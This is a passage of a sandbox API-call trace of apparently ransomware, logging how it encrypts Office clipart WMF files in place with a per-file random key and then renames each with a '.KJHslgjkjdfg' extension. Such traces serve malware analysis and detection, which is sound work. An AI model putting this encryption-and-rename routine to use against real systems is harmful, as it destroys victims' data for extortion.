SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.272] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.273] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.273] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.273] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4124, lpOverlapped=0x0) returned 1 [0218.274] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4130, dwBufLen=0x4130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4130) returned 1 [0218.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.274] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4130, lpOverlapped=0x0) returned 1 [0218.274] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.275] SetEndOfFile (hFile=0x130) returned 1 [0218.277] GetProcessHeap () returned 0x2ef0000 [0218.277] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.277] GetProcessHeap () returned 0x2ef0000 [0218.278] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf.kjhslgjkjdfg")) returned 1 [0218.280] CloseHandle (hObject=0x130) returned 1 [0218.280] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d627000, ftCreationTime.dwHighDateTime=0x1bd98a5, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d627000, ftLastWriteTime.dwHighDateTime=0x1bd98a5, nFileSizeHigh=0x0, nFileSizeLow=0x1402c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00489_.WMF", cAlternateFileName="")) returned 1 [0218.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.283] GetProcessHeap () returned 0x2ef0000 [0218.283] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.283] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.284] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.289] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.289] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.289] GetProcessHeap () returned 0x2ef0000 [0218.289] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.289] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.289] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.289] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.289] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.289] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.290] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.290] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.290] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.290] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.290] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1402c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1402c, lpOverlapped=0x0) returned 1 [0218.291] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14030, dwBufLen=0x14030 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14030) returned 1 [0218.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.292] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x14030, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x14030, lpOverlapped=0x0) returned 1 [0218.293] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.293] SetEndOfFile (hFile=0x130) returned 1 [0218.296] GetProcessHeap () returned 0x2ef0000 [0218.296] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.296] GetProcessHeap () returned 0x2ef0000 [0218.296] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf.kjhslgjkjdfg")) returned 1 [0218.298] CloseHandle (hObject=0x130) returned 1 [0218.299] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1ee4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00531_.WMF", cAlternateFileName="")) returned 1 [0218.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.301] GetProcessHeap () returned 0x2ef0000 [0218.301] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.301] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.301] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0218.303] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.303] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.303] GetProcessHeap () returned 0x2ef0000 [0218.303] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.303] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.303] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.303] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.303] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.304] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.304] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.304] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.304] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.304] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.304] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ee4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ee4, lpOverlapped=0x0) returned 1 [0218.305] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ef0, dwBufLen=0x1ef0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ef0) returned 1 [0218.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.306] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ef0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ef0, lpOverlapped=0x0) returned 1 [0218.306] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.306] SetEndOfFile (hFile=0x130) returned 1 [0218.308] GetProcessHeap () returned 0x2ef0000 [0218.308] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.308] GetProcessHeap () returned 0x2ef0000 [0218.308] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.308] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf.kjhslgjkjdfg")) returned 1 [0218.310] CloseHandle (hObject=0x130) returned 1 [0218.310] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33585700, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33585700, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x8da8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00542_.WMF", cAlternateFileName="")) returned 1 [0218.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.311] GetProcessHeap () returned 0x2ef0000 [0218.311] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.311] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.312] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.314] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.314] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.314] GetProcessHeap () returned 0x2ef0000 [0218.314] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.314] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.314] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.314] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.314] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.314] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.315] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.315] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.315] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.315] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.315] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8da8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8da8, lpOverlapped=0x0) returned 1 [0218.318] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8db0, dwBufLen=0x8db0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8db0) returned 1 [0218.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.318] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8db0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8db0, lpOverlapped=0x0) returned 1 [0218.319] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.319] SetEndOfFile (hFile=0x130) returned 1 [0218.324] GetProcessHeap () returned 0x2ef0000 [0218.324] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.324] GetProcessHeap () returned 0x2ef0000 [0218.324] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf.kjhslgjkjdfg")) returned 1 [0218.326] CloseHandle (hObject=0x130) returned 1 [0218.326] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b853b00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b853b00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x140c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00555_.WMF", cAlternateFileName="")) returned 1 [0218.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.327] GetProcessHeap () returned 0x2ef0000 [0218.327] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.327] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.328] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.331] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.331] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.331] GetProcessHeap () returned 0x2ef0000 [0218.331] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.331] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.331] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.332] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.332] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.332] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.332] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.332] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.332] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.332] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.332] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, 